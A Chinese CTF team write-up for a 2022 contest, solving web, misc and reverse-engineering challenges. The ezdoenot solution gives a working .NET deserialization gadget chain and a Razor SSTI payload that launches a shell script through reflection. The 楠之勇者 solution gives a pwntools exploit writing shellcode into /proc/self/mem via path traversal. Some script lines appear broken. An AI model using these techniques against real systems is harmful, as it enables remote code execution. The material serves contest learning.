【2022年春秋杯冬季赛-WriteUp By EDISEC】

2022年春秋杯冬季赛-WriteUp By EDISEC

  • Web(题解:@SNCKER)
    • ezdoenot
    • ezphp
  • Misc(题解:@Mrsh)
    • nan’s analysis
    • reindeer game
    • 楠之勇者
  • Re(题解:tlsn、神奇)
    • baby_transform
    • easy_python
    • godeep(一解)
    • godeep(二解)

Web(题解:@SNCKER)

ezdoenot

使用dnSpy反编译 WebApplication1.dll 和 WebLibClass.dll 路由 /api/UserLoad 会调用反序列化
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第1张图片
寻找反序列化入口,关注到 WebLibClass.Gadget 的 TestOnDeserializing 方法,使用了 OnDeserialized 修饰,所以会在反序列化时触发。
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第2张图片
这里有一个判断:

!this.key.Equals(ComparerData<T>.key)this.key

是从用户提供的序列化数据读入的,那么继续跟入 ComparerData 看到
在这里插入图片描述
也就是说ComparerData.key是随机生成的。那么有没有在什么地方泄露呢?继续寻找可以看到
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第3张图片
/login路由引用了该key,将key设置给了User,并且如果密码正确会将序列化数据存在session中。
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第4张图片
这里可以从User类反编译拿到密码。然后再注意到/api/UserExport路由
在这里插入图片描述
这个路由会导出存在session里的序列化数据。因为key被设置在user对象里,所以序列化数据中就会有这个key。思路就很明确,首先登录,账号随意,密码是XNN0504,然后访问/api/UserExport拿到序列化数据后,再从中提取key。
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第5张图片
继续回到TestOnDeserializing方法,当绕过了key的判断后,最后会调用this.comparer.Compare(this.x, this.y);this.comparer是IComparer类型,这时也注意到WebLibClass.ComparerData也是IComparer的子类。所以this.comparer十有八九是用ComparerData。
在这里插入图片描述
当this.isVoid是true时,会进行反射获取任意类的方法并进行调用,该方法限定为静态且两个参数类型为string。这里的类名和方法名分别通过this.c.getClass()和this.c.getMethod()获取,所以继续跟到this.c的声明。
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第6张图片
可以看到this.c是一个内部的私有类。最终的效果就是可以调用任意类的两个string类型参数的静态方法,而这个两个参数就是反序列化时读入的x和y。一开始想直接调用System.Diagnostics.Process的Start(string filename, string args)方法,这个方法是完全符合条件的,但是貌似没有引用System.Diagnostics.Process.dll所以调用不了。后来根据题目意思就是调用了System.IO.File.WriteAllText(string path, string contents)来写文件。反射搓序列化链代码如下:

static void Main(string[] args)
{
    ComparerData<string> comparerDataObj = new ComparerData<string>();
    string tpl = File.ReadAllText(@"static\error.html");
    Gadget<string> gadgetObj = new Gadget<string>(comparerDataObj, "static/error.html", tpl);
    Type gadgetType = gadgetObj.GetType();
    FieldInfo keyFiled = gadgetType.GetField("key", BindingFlags.Instance | BindingFlags.NonPublic);
    keyFiled.SetValue(gadgetObj, "c482f17d0ab14fdc9752b28f36ff2020");
    Type comparerDataType = comparerDataObj.GetType();
    FieldInfo isVoidField = comparerDataType.GetField("isVoid", BindingFlags.Instance | BindingFlags.NonPublic);
    isVoidField.SetValue(comparerDataObj, true);
    Type innerClassMethodType = comparerDataType.GetNestedTypes(BindingFlags.NonPublic)[0];
    innerClassMethodType = innerClassMethodType.MakeGenericType(typeof(string));
    Console.WriteLine(innerClassMethodType.FullName);
    FieldInfo classnameFiled = innerClassMethodType.GetField("Classname", BindingFlags.Instance | BindingFlags.NonPublic);
    FieldInfo methodnameFiled = innerClassMethodType.GetField("Methodname", BindingFlags.Instance | BindingFlags.NonPublic);
    Object innerClassMethodObj = Activator.CreateInstance(innerClassMethodType);
    classnameFiled.SetValue(innerClassMethodObj, "System.IO.File");
    methodnameFiled.SetValue(innerClassMethodObj, "WriteAllText");
    FieldInfo cFiled = comparerDataType.GetField("c", BindingFlags.Instance | BindingFlags.NonPublic);
    cFiled.SetValue(comparerDataObj, innerClassMethodObj);
    Console.WriteLine(SerTools.Serialize(gadgetObj));
}

这里主要坑的就是ComparerData用了泛型,所以在获取其内部类时要用MakeGenericType(typeof(string))明确类型,后面才能进行实例化。
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第7张图片
最后就是进行ssti模板注入,这个链子是往static/error.html进行写入,然后访问/admin即可触发。但是前面说过,程序没有引用System.Diagnostics.Process.dll所以不能直接用@{System.Diagnostics.Process.Start(“cmd.exe”,“/c calc”)}执行命令。最后还是用反射来搓,先加载System.Diagnostics.Process.dll程序集,然后获取System.Diagnostics.Process类再反射调用Start方法。

@using System.Reflection;
@{
Assembly assembly = Assembly.Load("System.Diagnostics.Process");
var processType = assembly.GetType("System.Diagnostics.Process");
var startMethod = processType.GetMethod("Start", BindingFlags.Static | BindingFlags.Public, null, new Type[]{typeof(string),typeof(string)}, null);
startMethod.Invoke(null, new []{"/bin/bash", "/app/wwwroot/js/1.sh"});
@processType.FullName;
}

这里面比较坑的是bash -c执行不了,不明原因,所以改为用bash执行shell脚本,因为前面实现了任意文件写了,可以往/app/wwwroot/js/1.sh写命令然后配合ssti执行。最后使用cat /flag > /app/wwwroot/js/1.txt将flag写到文件。然后访问WEB拿到flag。
在这里插入图片描述

ezphp

?num=1||1

Misc(题解:@Mrsh)

nan’s analysis

【2022年春秋杯冬季赛-WriteUp By EDISEC】_第8张图片
题目要求获取/flag,发现需要root权限,采用cat重定向到base64输出
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第9张图片
解码后通过010还原可得一个加密的zip,内含shell.php
在这里插入图片描述
图片则是通过拼音告诉我们与此题无关
随即访问80端口的shell.php
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第10张图片
一开始没想到0宽。。。然后看到响应包里的就尝试了下0宽
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第11张图片
同时获得了两条信息
这边再转到终端 发现根目录下隐藏了两个文件
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第12张图片
DS_Store下载后并未发现信息
.index.php下载后发现一些混淆的代码
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第13张图片
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第14张图片
eval改成echo
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第15张图片
发现密文
接下来从zip入手写个脚本跑个字典就行了
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第16张图片
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第17张图片
解开后发现跟上面的.index.php一样。。。。但没密文。。。看来上面几步没白做
唯一没找的就是流量包了
直接追踪TCP流
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第18张图片
看来AES解密所需的偏移量密钥 密文都齐了,解开来得到AES密文
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第19张图片
获取root的权限
在这里插入图片描述

reindeer game

【2022年春秋杯冬季赛-WriteUp By EDISEC】_第20张图片

楠之勇者

蛮有趣的一道题目,本地无docker就直接去搭了个ubuntu18.04:)
连上去之后先玩了一下,大概得到以下信息
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第21张图片
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第22张图片
这里获取到设备信息
大概按个10次4就能买普通魔杖进行附魔效果的输入了
此题应该是配后目录穿越漏洞写shellcode
linux有个机制叫内存映射文件,就是可以通过读写文件的方式读写一个进程的地址空间。那么此题中猜测python3.6.9这个程序在ubuntu18.04中的内存地址不变(实际上也是,否则没想到法子做)我们写一个简单的程序读python3.6.9的内存地址
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第23张图片
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第24张图片
可获取到其起始地址固定式0x400000,指令区域上限是0x7b4000
那么再写一个简单的程序来判断python进程的地址空间
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第25张图片
0xcc是int3指令,如果执行到这个指令cpu会生成一个调试信号,addr则是需要猜测的地址,我们以页为单位尝试
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第26张图片
当addr=0x600000时,写入成功
构造exp

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
io = remote("39.106.48.123",27713)
io.sendlineafter("请告诉我你的姓名:","Mrsh")
io.sendlineafter(">>","1")

# Linux-4.19.91-20220519040629.182dd72.al7.x86_64-x86_64-with-Ubuntu-18.04-bionic
# Python 3.6.9
def getmoney(n):
    for i in range(n):
        io.sendlineafter(">>","4")
        io.sendlineafter("(按Enter键继续)","\n")

def buy(n):
    io.sendlineafter(">>","3")
    io.sendlineafter(">>",str(n))
    io.sendlineafter(">>",'a')
    io.sendlineafter("(按Enter键继续)","\n")

def writeevil(file,offset,data):
    io.sendlineafter(">>","2")
    io.sendlineafter(">>","1")
    io.sendlineafter("输入你的记事录名称:",file)
    io.sendlineafter("从第几页开始记录:",str(offset))
    io.sendlineafter("(魔杖附效)输入内容:",base64.b64encode(data))
    #io.sendlineafter("按Enter","\n")

getmoney(10)
buy(1)
sh=asm(shellcraft.amd64.linux.sh())
writeevil("../proc/self/mem",0x600000,sh.rjust(0x1000,b"\x90"))

io.interactive()

【2022年春秋杯冬季赛-WriteUp By EDISEC】_第27张图片
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第28张图片

Re(题解:tlsn、神奇)

baby_transform

离散傅里叶变换
Exp如下:

import struct
fp = open(r"C:\Users\Administrator\Desktop\春秋杯冬季赛\baby_transform_566a4f87c687b0c077804d89282566ca\flag.enc","rb")
data = fp.read()
val = []
def hex_to_float(I):
    f = struct.unpack(',I)
    return f[0]
for i in range(0,84,2):
    t1 = hex_to_float(data[i*8:i*8+8])
    t2 = hex_to_float(data[i*8+8:i*8+16])
    val.append((t1,t2))
import math
from struct import *
PAI = 3.141592653589793
N = 42
bbb = b""
for n in range(42):
    an = bn = 0
    for x in range(42):
        an += val[x][1] * math.cos(-2*PAI*x*n / N)
        bn += val[x][0] * math.sin(-2*PAI*x*n / N)
    an *= (1 / N)
    bn *= (1 / N)    
    print(chr(int(an-bn+0.5)),end = "")

得到 :
f}c3a26829fa7f-080b-1ab4-0fb7-aa3d023e{gal
取反,得到flag为:
flag{e320d3aa-7bf0-4ba1-b080-f7af92862a3c}

easy_python

直接询问chatgpt
flag = [204, 141, 44, 236, 111, 140, 140, 76, 44, 172, 7, 7, 39, 165, 70, 7, 39, 166, 165, 134, 134, 140, 204, 165, 7, 39, 230, 140, 165, 70, 44, 172, 102, 6, 140, 204, 230, 230, 76, 198, 38, 175]

for i in range(42):
  flag[i] = (flag[i] >> 5) | ((flag[i] << 3) & 255)
  print(chr(flag[i]),end = "")
flag为:
flag{ddbae889-2895-44df-897d-2ae30df77b61}

godeep(一解)

Go语言编写的exe程序,main_convert函数把输入的字符串按ASC码转换为了大端序的二进制字符串,之后通过二进制值的来遍历二叉树
解题思路:
有好几种解题思路,可以手动交叉引用慢慢算,也可以用IDAPython脚本算
我这里,打印出来所有伪代码后,通过正则匹配的方式拿到的flag
exp

# import idaapi
# import idautils
# def Ida_Decode(fp,begin,end):
#     All_Fun = list(idautils.Functions(begin,end))           
#     for i in range(len(All_Fun)):
#         func = idaapi.get_func(All_Fun[i])  # 获取函数
#         cfunc = idaapi.decompile(func.start_ea)  # 反编译   
#         fp.write((str(cfunc)))
# begin = 0x000000000C8B820
# end = 0x000000000D72EE6
# addr = begin
# with open(r"C:\Users\Administrator\Desktop\Get_Code","w") as fp:
#     Ida_Decode(fp,begin,end)
# import re
# patternn = re.compile("__fastcall (godeep_tree_[a-zA-Z0-9]+)\(")
# fp = open(r"C:\Users\Administrator\Desktop\Get_Code","r")
# All_data = fp.readlines()
# find_str = "godeep_tree_VSWEwsr_successssssssssssssssssssss"
# idx = 0
# flag_2 = ""
# while 1:
#     if find_str == "godeep_tree_ApSzXJOjiFA" :
#         break;

#     for i in range(len(All_data)):
#         if find_str in All_data[i] and "__fastcall" not in All_data[i]:
#             idx = i
#             if "else" in All_data[i+1]:
#                 flag_2 += "1"
#             else:
#                 flag_2 += "0"    
#             # print(flag_2)
#     ans = 0
#     for i in range(idx-1,-1,-1):
#         if "__fastcall" in All_data[i] :
#             fun_name = patternn.search(All_data[i]).group(1)
#             ans = 1
#             break
#     if ans == 0:
#         assert 0
#     find_str = fun_name[:] 
# print(flag_2)
re_flag = "100001100000110001000110110011000010011010101100001011001110110011000110010001100001110011101100101101001110110000011100100111000001110010110100011001101001110010001100001011001011010001000110111011000110011001100110101101001110110010011100001001100100011011001100000011001100011001100110"
flag = hex(int((re_flag[::-1]),2))[2:]
print(bytes.fromhex(flag))

flag为:
fc03bd97-ff7b-419f-8987-78bc745d3b0a

godeep(二解)

Ⅰ、程序信息
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第29张图片
Ⅱ、功能探测
1.运行程序看一下程序如何验证我们的flag的,发现它给了我们一个提示,如果输入正确则提示 right ,否则提示 wrong
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第30张图片
Ⅲ、加壳探测
1.我们使用Detect工具看一下程序的编译器信息,发现是用Go语言进行编写的64位程序
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第31张图片
Ⅳ、静态分析
4.1、分析main函数
1.将程序载入ida7.7,在函数窗口里面定位到main_main函数,查看它的伪代码,根据上下文信息添加 上对应的注视。
在使用ida7.7分析main函数的时候像 fmt_Fprintln,fmt_Fscanf、main_convert 等这些被调用 的函数,他们的参数都是不完整的
需要自己在函数上按Y给它们添加参数,具体怎么添加请继续往下看
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第32张图片
4.2、修改调用约定
1.像 fmt_Fprintln ,首先将它的调用约定改成 __fastcall ,然后在参数列表里面给它写上4个 void* 和一个 char* 为什么是4个 void* 和一个 char* ?是一个一个试出来的,自己可以根据情况自行修改参数

__int64 __fastcall fmt_Fprintln(void *, void *, void *, char *, void *)

【2022年春秋杯冬季赛-WriteUp By EDISEC】_第33张图片
2.fmt_Fscanf函数也与 fmt_Fprintln 做同样的操作

__int64 __fastcall fmt_Fscanf(__int64, __int64, __int64, __int64, __int64,
__int64)

【2022年春秋杯冬季赛-WriteUp By EDISEC】_第34张图片
3.经过尝试,main_convert有两个参数

__int64 __fastcall main_convert(__int64, void *)

在这里插入图片描述
4.根据尝试, godeep_tree_ApSzXJOjiFA 函数也有两个参数

__int64 __fastcall godeep_tree_ApSzXJOjiFA(__int64, __int64)

在这里插入图片描述
Ⅴ、动态调试
5.1、分析main_convert函数
1.设置ida的本地Windows调试选项
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第35张图片
2.输入测试flag
3. 在 main_convert 函数这里下一个断点,观察程序传递的参数,发现并不是我们输入的 1234567890
是因为字符串在go里面是用结构体来表示的,传递的是字符串这个对象结构体的地址
这里我们不深究go字符串的结构体到底是怎样,我们只关心它会对我们输入的字符串做什么操作
在这里插入图片描述
4. 我们在 main_convert 函数的返回处下一个断点,观察RAX的值,可以看到下图中RAX所在的地址有我们输入的flag,和一串010101,说明这个函数的功能就是将我们输入的内容转成二进制字符串。
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第36张图片
5.我们将复制出来的二进制字符串放到Python中进行处理,发现是成功的还原出输入的 1234567890【2022年春秋杯冬季赛-WriteUp By EDISEC】_第37张图片
5.2、分析godeep_tree_xxx函数
1.我们接着来分析一下main中调用的 godeep_tree_ApSzXJOjiFA 函数
在这里插入图片描述2. 虽然这里变量a2没有被定义,但是可以看到它里面存的值 我们在16进制窗口跟随这个值,发现是一堆二进制的0和1 其实就是刚刚上方的二进制字符串,现在转成了二进制数值。【2022年春秋杯冬季赛-WriteUp By EDISEC】_第38张图片
3.我们转到反汇编视图,看它再调用下一个 godeep_tree_xxx 所传递的参数,从RAX中可以看到是将 原来的a2加了1传递过去的。
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第39张图片
4.结果当然是wrong【2022年春秋杯冬季赛-WriteUp By EDISEC】_第40张图片
Ⅵ、思路探索
5. 现在我们可以知道程序的逻辑是根据用户输入的内容,将其转成2进制,程序根据二进制的每一位 去调用对应的函数,如果正确就会调用到right,否则就是wrong 那这里我们的思路就是从引用了right字符串这个函数作为切入点,从最终的目的地倒推路径出来
2.现在我们开始寻找目的地函数,这里我们在IDA中搜索right字符串,看谁引用了它
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第41张图片
3.按X交叉引用
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第42张图片
4.直到找到 godeep_tree_VSWEwsr 函数,可以看到这个函数里引用了 right 这个字符串,并且还将它 输出
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第43张图片
5.那我们看一下 godeep_tree.VSWEwsr 的上层调用是哪个函数
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第44张图片
6. 是 godeep_tree_uhjbVAJIZWUvFQBgP 调用了 godeep_tree.VSWEwsr 函数 那又是谁调用了 godeep_tree_uhjbVAJIZWUvFQBgP 函数呢?如果这样人工找,效率太低,等找 到了比赛早就结束了~ 那怎么办呢?我们使用 idapython 脚本来完成这个操作。
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第45张图片
Ⅶ、编写脚本
7.1、查找所有上层调用
1.编写idapython脚本,功能是查找 godeep_tree_VSWEwsr 所有上层调用函数的列表,终点是 godeep_tree_ApSzXJOjiFA 函数

from idaapi import *
'''
  功能:获取一个函数的上层调用函数地址
  返回:函数的上层调用地址
'''
def get_crefs(func):
  find_func = func
  addr = list(CodeRefsTo(find_func,0))[0]
  up_call = get_func(addr).start_ea
  return up_call
'''
  功能:获取godeep_tree.ApSzXJOjiFA到godeep_tree.VSWEwsr之间的所有函数上层调用
  返回:这两个函数之间的调用列表
'''
def get_all_refs():
  start_func = get_name_ea(0,'godeep_tree.VSWEwsr')
  end_func = get_name_ea(0,'godeep_tree.ApSzXJOjiFA')
  func_list = [start_func]
  while True:
    ret = get_crefs(start_func)
    func_list.append(ret)
    start_func = ret
    if ret == end_func:
        break
  return func_list
refs = get_all_refs()
print(refs)
print(get_func_name(refs[0]))
print(get_func_name(refs[-1]))

2.从运行的结果中可以看到,我们成功的找到了 godeep_tree_VSWEwsr 到 godeep_tree_ApSzXJOjiFA 函数的所有上层调用函数列表
3.有了列表以后,我们就要判断列表里的每一个函数它是为true执行到的还是为false执行到的
【2022年春秋杯冬季赛-WriteUp By EDISEC】_第46张图片
7.2、完整解题脚本
1.下面是完整解题脚本

from idaapi import *
'''
  功能:获取一个函数的上层调用函数地址
  返回:函数的上层调用地址
'''
def get_crefs(func):
  find_func = func
  addr = list(CodeRefsTo(find_func,0))[0]
  up_call = get_func(addr).start_ea
  return up_call
'''
  功能:获取godeep_tree.ApSzXJOjiFA到godeep_tree.VSWEwsr之间的所有函数上层调用
  返回:这两个函数之间的调用列表
'''
def get_all_refs():
  start_func = get_name_ea(0,'godeep_tree.VSWEwsr')
  end_func = get_name_ea(0,'godeep_tree.ApSzXJOjiFA')
  func_list = [start_func]
  while True:
    ret = get_crefs(start_func)
    func_list.append(ret)
    start_func = ret
    if ret == end_func:
        break
  return func_list
'''
  功能:根据相邻两个调用函数来判断返回1还是返回0
  参数:
      cur_func: 当前函数地址
      up_func:cur_func的上层调用函数地址
'''
def get_bin_code(cur_func,up_func):
    # 1.这里要将函数名中的.替换成_
    cur_name = get_func_name(cur_func).replace('.','_')
  # 2.
  # 目的是为了在up_func函数中可以匹配到对应的行,因为反编译函数里面它的写法全是_
  # 这里将反编译的伪代码,使用\n进分割
  up_body = str(decompile(up_func)).split('\n')
  for i in range(len(up_body)):
      # 如果cur_name在上层函数体中的这一行内
      if cur_name in up_body[i]:
          # 判断下方有没有else,有就返回1,否则返回0
          if 'else' in up_body[i+1]:
              return '1'
           else:
              return '0'
# 1.首先获取end到start的所有函数引用
refs = get_all_refs()
print(len(refs))
# 2.遍历这些函数引用
bin_code = ''
for i in range(0,len(refs)-1):
    # 3.传递get_bin_code所需要的参数
    # cur_func : refs[i]
    # up_func : refs[i+1]
    bin_code += get_bin_code(refs[i],refs[i+1])
print(bin_code)
# 4.因为是从后往前找到的所以要将结果反转过来,并转成16进制
flag = hex(int((bin_code[::-1]),2))[2:]
# 5.将16进制转成字节并解码得到flag
flag = bytes.fromhex(flag).decode()
print(flag)

2.运行过后成功拿到flag【2022年春秋杯冬季赛-WriteUp By EDISEC】_第47张图片
Ⅷ、运行测试
1.将flag输入到程序中进行测试,程序输出right,表示这就是正确的flag!
在这里插入图片描述

你可能感兴趣的:(CTF-Writeup,java,web安全,安全,网络安全,网络)